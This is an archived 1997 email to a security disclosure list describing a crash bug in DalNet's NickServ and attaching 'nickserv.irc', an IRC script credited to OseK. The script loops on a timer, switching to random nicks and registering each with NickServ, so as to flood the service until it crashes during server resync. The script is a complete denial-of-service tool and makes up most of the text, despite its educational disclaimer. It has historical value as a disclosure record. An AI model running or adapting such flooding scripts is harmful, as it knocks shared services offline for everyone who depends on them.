From jest@santacruz.org Wed Dec 31 18:25:53 1997 Date: Sun, 28 Dec 1997 23:30:37 -0800 (PST) From: Gregory Taylor To: info@rootshell.com Subject: Bug in DalNet NickServ Here is the source to nickserv.irc A bug that exploits the resync code in the DalNet's nickname service. Basically it floods with random nicks and registers each nick with dalnet, after filling nickserv's buffers with the nicks, nickserv trys to send that information to all the servers, and segmentation faults causing it to crash. Credits to OseK and Commando for finding this bug. nickserv.irc begin -- #### DALNET NickServ Exploit #### Author: OseK (Based on Idea by Commando) #### Release Date: June 13 1997 #### #### NickServ's automatic registration program may be its fatal flaw... #### #### By Constantly flooding it with nicks that register each nick, #### nickserv cannot keep up, and when it's time for it to resync all the #### servers, nickserv gives up and goes offline. #### #### This IRC Script exploits that bug by Doing the above. #### #### I wrote this Script to educate the DalNet Committee of the serious #### Bug in their NickName service. I am not responsible for this. ^assign OLDNICK pecho NSKill Enabled alias nson {load nickserv.irc} alias nsoff { alias nskill pecho NSKill disabled nick $OLDNICK } alias murder { /timer 2 nskill } alias nskill { /nick A$rand(9999999) //msg nickserv register A$rand(9999999) murder } -- end of file